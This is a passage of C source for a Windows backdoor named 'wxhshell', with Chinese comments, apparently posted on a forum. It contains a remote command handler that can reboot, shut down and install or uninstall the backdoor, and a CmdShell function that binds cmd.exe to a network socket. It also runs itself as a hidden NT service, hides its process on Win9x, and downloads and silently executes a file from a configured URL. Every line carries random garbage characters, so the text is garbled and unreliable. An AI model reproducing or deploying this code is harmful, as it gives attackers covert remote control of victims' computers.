  // 帮助 7P3 <o!YA  
  case '?': { Qv9*p('~A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hgTM5*fD}  
    break; b@nri5noBm  
  } \>*MMe  
  // 安装 YD/B')/ s  
  case 'i': { }*fW!(*  
    if(Install()) +=|hMQ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /e-ka{WS  
    else zjluX\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z! C`f/h9  
    break; $nUd\B$.=  
    } kx"hWG4  
  // 卸载 " #mXsp-ut  
  case 'r': { *u|lmALs  
    if(Uninstall()) >P6^k!R1y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y3 ({(URU  
    else {0NsDi>(2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #rn4 $  
    break; (lyt"Ty  
    } @<@R=aqE  
  // 显示 wxhshell 所在路径 %8}WX@SB  
  case 'p': { ua]\xBWx  
    char svExeFile[MAX_PATH]; (SgEt  
    strcpy(svExeFile,"\n\r"); %JP&ox|^&  
      strcat(svExeFile,ExeFile); (cOND/S  
        send(wsh,svExeFile,strlen(svExeFile),0); `c qH}2s#  
    break; nx!qCgo  
    } %v?jG(o  
  // 重启 sDaT[).Hm  
  case 'b': { Nz(c"3T;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VxUvvJ{-v  
    if(Boot(REBOOT)) uR06&SaA>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )@8'k]Glw.  
    else { }<( "0jC  
    closesocket(wsh); Ze$^UR  
    ExitThread(0); SQO>}#qm  
    } Bi9 N  
    break; { 4_I7r  
    } d-6sC@PB  
  // 关机 2ru*#Z#(  
  case 'd': { aGq_hP   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B)j`}7O 06  
    if(Boot(SHUTDOWN)) ]Ks]B2Osz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B$}wF<`k7  
    else { 8! |.H p  
    closesocket(wsh); EmtDrx4!(f  
    ExitThread(0); U~u6}s]:  
    } dCf'\ @<<  
    break; ZYwBw:y}y  
    } %5Q7#xU  
  // 获取shell i# pjv'C  
  case 's': { Mr5('9%  
    CmdShell(wsh); WL IDw@fv  
    closesocket(wsh); bm|Jb"T0b  
    ExitThread(0); Nt`F0 9S  
    break; Z/V`Z* fy  
  } UA69_E{JCH  
  // 退出 )#b}qc#`  
  case 'x': { mJ6t.%'d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PTuCN  
    CloseIt(wsh); N3XVT{ yo  
    break; S7?f5ux   
    } O+(. 29  
  // 离开 fd!pM4"0  
  case 'q': { ;w>3,ub(0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .NV)hg)|cZ  
    closesocket(wsh); n&2=6$*,k  
    WSACleanup(); !^Z[z[  
    exit(1); 3X-{2R/ 3  
    break; %KabyvOl)  
        } g[=\KrTSg  
  } .-C+0L1j  
  } E>l#0Zw  
2R_opbw  
  // 提示信息 C,OB3y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G<">/_jn  
} z{D$~ ob  
  } G:h;C].  
2g ?Jb5)  
  return; =FtM;(\  
} F- !}dzO  
*7xQp!w^  
// shell模块句柄 +YQ)}v  
int CmdShell(SOCKET sock) #"=yQZ6Y  
{ nU?Xc(Xy  
STARTUPINFO si; {L-{Y<fke  
ZeroMemory(&si,sizeof(si)); wRV`v$*6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %mB!|'K%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8r`VbgI&  
PROCESS_INFORMATION ProcessInfo; =\ Tud-1Z  
char cmdline[]="cmd"; W[[YOK1T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l(k rUv  
  return 0; 0M/\bE G(_  
} +hgaBJy  
?FY@fO?es  
// 自身启动模式 bOd sMlJkN  
int StartFromService(void) 3I U$  
{ yO$r'9?,*  
typedef struct VuO)  
{ HonAK  
  DWORD ExitStatus; "EOk^1,y  
  DWORD PebBaseAddress; eSvc/CU  
  DWORD AffinityMask; ;4S [ba1/  
  DWORD BasePriority; ?v)"%.  
  ULONG UniqueProcessId; $X.'W\o|  
  ULONG InheritedFromUniqueProcessId; (zM+7tJH  
}   PROCESS_BASIC_INFORMATION; tvj'{W  
lk+=2 6>  
PROCNTQSIP NtQueryInformationProcess; Yn[EI7D  
iP#A-du  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i)`zKbK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *mK);@pL  
*s<dgFA'  
  HANDLE             hProcess; _Sk< S  
  PROCESS_BASIC_INFORMATION pbi; ;8%@Lan  
%b>y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X."h Tha5  
  if(NULL == hInst ) return 0; dp//p)B>  
psyH?&T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GH; F3s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O'&X aaZV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fdCxMKlu;  
<Hr@~<@~  
  if (!NtQueryInformationProcess) return 0; 3*2&Fw!B  
{Gb)Et]<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gk_Xu  
  if(!hProcess) return 0; &>) `P[x  
A\PV@w%A i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; . f.j >  
ZAnO$pA  
  CloseHandle(hProcess); S{"6PXzb  
@|\s$L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gE6y&a  
if(hProcess==NULL) return 0; *NwKD:o  
}07<(,0n  
HMODULE hMod; !g8.8(/t)  
char procName[255]; +poIgjq0  
unsigned long cbNeeded; *{;A\sL  
@h7GTA \  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]uj.uWD  
_>?8eC]4a  
  CloseHandle(hProcess); `>Kk;`  
rfZj8R&  
if(strstr(procName,"services")) return 1; // 以服务启动 RQK**  
7"CH\*%  
  return 0; // 注册表启动 ~RR_[t2Z  
} EH!EyNNb  
Med"dHo7  
// 主模块 ss*2TE7  
int StartWxhshell(LPSTR lpCmdLine) uy*x~v*I]  
{ g9lg  
  SOCKET wsl; H{tOCYyD  
BOOL val=TRUE; T=f;n;/>  
  int port=0; DRmh(T  
  struct sockaddr_in door; 2G:{FY  
@SQ*/sw (c  
  if(wscfg.ws_autoins) Install(); Fp|rMq  
uTlT'9)  
port=atoi(lpCmdLine); Bdk{.oh6  
nO.+&kA  
if(port<=0) port=wscfg.ws_port; ;~1/eF  
3xCA\*  
  WSADATA data; YT 03>!B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 23n8,} H,  
* SON>BSF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Kp=3\)&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tL4]6u  
  door.sin_family = AF_INET; vM4`u5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kq.R(z+  
  door.sin_port = htons(port); F0ivL`  
pt|$bU7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Q,).@<C  
closesocket(wsl); |s3HeY+Co  
return 1; U+}9X^  
} g7Q*KA+  
*ej o6>  
  if(listen(wsl,2) == INVALID_SOCKET) { _ L:w;Oy9T  
closesocket(wsl); my\oC^/9  
return 1; hr}R,BR|  
} Ef*.}gcU  
  Wxhshell(wsl); sFz4^Kn  
  WSACleanup(); N n-6/]d#  
yNMwd.r[  
return 0; I3[RaZ2z{  
"?0 G^zu  
} R^O)fL0_  
LAVt/TcZS|  
// 以NT服务方式启动 ;eEtdoy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o  >4>7  
{ U+A(.+d.  
DWORD   status = 0; Ky~~Cd$  
  DWORD   specificError = 0xfffffff; eEZlVHM;O  
]A<u eM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EV,NJ3V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  yURh4@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hr,gV2n  
  serviceStatus.dwWin32ExitCode     = 0; =/'*(\C2  
  serviceStatus.dwServiceSpecificExitCode = 0; G@I_6c E  
  serviceStatus.dwCheckPoint       = 0; nhxd  
  serviceStatus.dwWaitHint       = 0; K[;,/:Y  
v5bb|o[{K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )xy{[ K|M(  
  if (hServiceStatusHandle==0) return; /Ta0}Y(y  
3)MM5 b b$  
status = GetLastError(); iC0,zk4&  
  if (status!=NO_ERROR) }~,cCtg:o  
{ W oG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; exN#!& ;  
    serviceStatus.dwCheckPoint       = 0; { rJF)\2  
    serviceStatus.dwWaitHint       = 0; pC.P  
    serviceStatus.dwWin32ExitCode     = status; `e;Sjf<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZTz(NS EK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ytnr$*5.  
    return; Us~wv"L=UX  
  } QS?9&+JM|  
/%'7sx[p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y~ ?YA/.x  
  serviceStatus.dwCheckPoint       = 0; |B WK"G  
  serviceStatus.dwWaitHint       = 0; H9m2Whq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MZMv.OeYt,  
} @y2Bq['  
>oYwzK0&  
// 处理NT服务事件,比如:启动、停止 $[;eb,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \J g#X:d  
{ F88SV6  
switch(fdwControl) Pw{{+PBu R  
{ @%85k/(  
case SERVICE_CONTROL_STOP: Y$5v3E\uc  
  serviceStatus.dwWin32ExitCode = 0; YZu# 0)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #Z 5Wk  
  serviceStatus.dwCheckPoint   = 0; 3>3ZfFC  
  serviceStatus.dwWaitHint     = 0; KEB>}_[  
  { /FZ )ej\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j|8{Vyqd  
  } 7uH{UpslJ  
  return; nE$ V<Co}  
case SERVICE_CONTROL_PAUSE: g {wPw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j`M<M[C*4N  
  break; BnY|t2r  
case SERVICE_CONTROL_CONTINUE: (&x\,19U$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J3E:r_+  
  break; u+FftgA  
case SERVICE_CONTROL_INTERROGATE: aVL%-Il}  
  break; xH-k~#  
}; (?wKBUi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I}3K,w/7mi  
} *Z(C' )7r  
9 f/tNQ7W  
// 标准应用程序主函数 iEO2Bil]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [<Puh  
{ #yxYL0CcA:  
hpKc_|un  
// 获取操作系统版本 :WTvP$R  
OsIsNt=GetOsVer(); S$:S*6M@"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iJ#oI@s  
QZP;k!"w  
  // 从命令行安装 E1[%~Cpw*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3ZZI1_j  
KywT Oq  
  // 下载执行文件 NT:>.~ah@&  
if(wscfg.ws_downexe) { JH,bSb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v xZUtyJfe  
  WinExec(wscfg.ws_filenam,SW_HIDE); m5g: Q  
} c=E.-  
Cagq0-:(p  
if(!OsIsNt) { E&v-(0  
// 如果时win9x,隐藏进程并且设置为注册表启动 82l";;n4p  
HideProc(); gvt4'kp  
StartWxhshell(lpCmdLine); 0kEq|k9  
} skArocs  
else RtEkd_2  
  if(StartFromService()) l'R`XGT  
  // 以服务方式启动 IMEoov-x  
  StartServiceCtrlDispatcher(DispatchTable); +T;qvx6  
else ;:1mv  
  // 普通方式启动 OPh@H.)^  
  StartWxhshell(lpCmdLine); ew~FN  
:fUmMta  
return 0; D4T+Gk"n  
}
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只看该作者 1 发表于: 2006-10-10
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